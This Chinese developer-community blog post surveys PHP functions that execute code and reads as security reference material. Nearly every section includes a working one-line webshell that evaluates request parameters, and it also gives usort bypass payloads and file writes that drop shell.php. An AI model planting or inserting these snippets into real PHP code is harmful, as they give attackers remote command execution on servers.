开发者社区> bypass> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

PHP代码执行函数总结

简介:   PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳。   常见代码执行函数,如       eval()、assert()、preg_replace()、create_function()     array_map()、call_user...
+关注继续查看

  PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳。

  常见代码执行函数,如  

    eval()、assert()、preg_replace()、create_function()

    array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

    文件操作函数、动态函数($a($b))

1、eval() 

  eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>

2、assert()

   与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

示例代码:

<?php 
//?cmd=phpinfo()
assert($_REQUEST[cmd]); 
?>

3、preg_replace()

  mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  搜索subject中匹配pattern的部分, 以replacement进行替换。

  preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

示例代码:

<?php 
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

4、create_function()

  create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

代码示例:

<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

参考链接:

代码安全:PHP create_function()注入命令执行漏洞

http://www.cnseay.com/1901/

http://lovexm.blog.51cto.com/3567383/1743442

http://qqhack8.blog.163.com/blog/static/11414798520153795157139/

5、array_map()

  array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

 代码示例:

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

6、call_user_func()/call_user_func_array ()

  call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

  call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

 7、array_filter()

  array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

8、usort()、uasort()

  usort() 通过用户自定义的比较函数对数组进行排序。

  uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

代码示例:

php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();

php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

源自:https://www.wd0g.com/?p=190

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

9、文件操作函数

  file_put_contents() 函数把一个字符串写入文件中。

  fputs() 函数写入文件

代码示例:

 

<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>

 

 10、动态函数

  PHP函数直接由字符串拼接

代码示例:

<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>

 关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
关于php mysqli函数的一些总结和详细介绍(五)
前言:php是一门入门比较简单的编程语言,同时php有非常多的内置函数。所以对于这些内置函数的理解与掌握就显得尤为重要。接下来我们就分析php的一些内置函数。后续我还会继续为大家整理。 关于phpMysqli函数的理解: 一、什么是php mysqli? php mysqli = php nysqli improved mysqli函数允许您访问数据库服务器。
6821 0
关于php mysqli函数的一些总结和实例(四)
前言:php是一门入门比较简单的编程语言,同时php有非常多的内置函数。所以对于这些内置函数的理解与掌握就显得尤为重要。接下来我们就分析php的一些内置函数。后续我还会继续为大家整理。关于phpMysqli函数的理解: 一、什么是php mysqli? php mysqli = php nysqli improved mysqli函数允许您访问数据库服务器。
1637 0
关于php mysqli函数的一些总结及实例(三)
前言:php是一门入门比较简单的编程语言,同时php有非常多的内置函数。所以对于这些内置函数的理解与掌握就显得尤为重要。接下来我们就分析php的一些内置函数。后续我还会继续为大家整理。 关于phpMysqli函数的理解: 一、什么是php mysqli? php mysqli = php nysqli improved mysqli函数允许您访问数据库服务器。
516 0
关于php mysqli函数的总结与详细介绍(二)
前言:php是一门入门比较简单的编程语言,同时php有非常多的内置函数。所以对于这些内置函数的理解与掌握就显得尤为重要。接下来我们就分析php的一些内置函数。 关于phpMysqli函数的理解: 一、什么是php mysqli? php mysqli = php nysqli improved mysqli函数允许您访问数据库服务器。
472 0
PHP 排序算法原理及总结
冒泡排序原理原理描述: 一次比较俩个相邻的元素,大的元素后移,小的元素前移(交换位置)。直到找出最大的元素。就像是气泡一样,大的向下沉,小的向上冒。 流程: 有一个无序数组 $arr = [8, 9, 3, 6, 1, 4] 总结: 外层循环要元素数 - 1次。
354 0
【资料整理】JAVA、PHP、前端等九大系列资料整理,全面总结,推荐收藏
云栖社区整理了9大类近百份学习资料,全方位覆盖你的知识面。
6336 0
+关注
bypass
一个网络安全爱好者
文章
问答
文章排行榜
最热
最新
相关电子书
更多
复杂PHP系统性能瓶颈排查及优化
立即下载
PHP安全开发_从白帽角度做安全
立即下载
PHP与APM_技术内幕和最佳实践
立即下载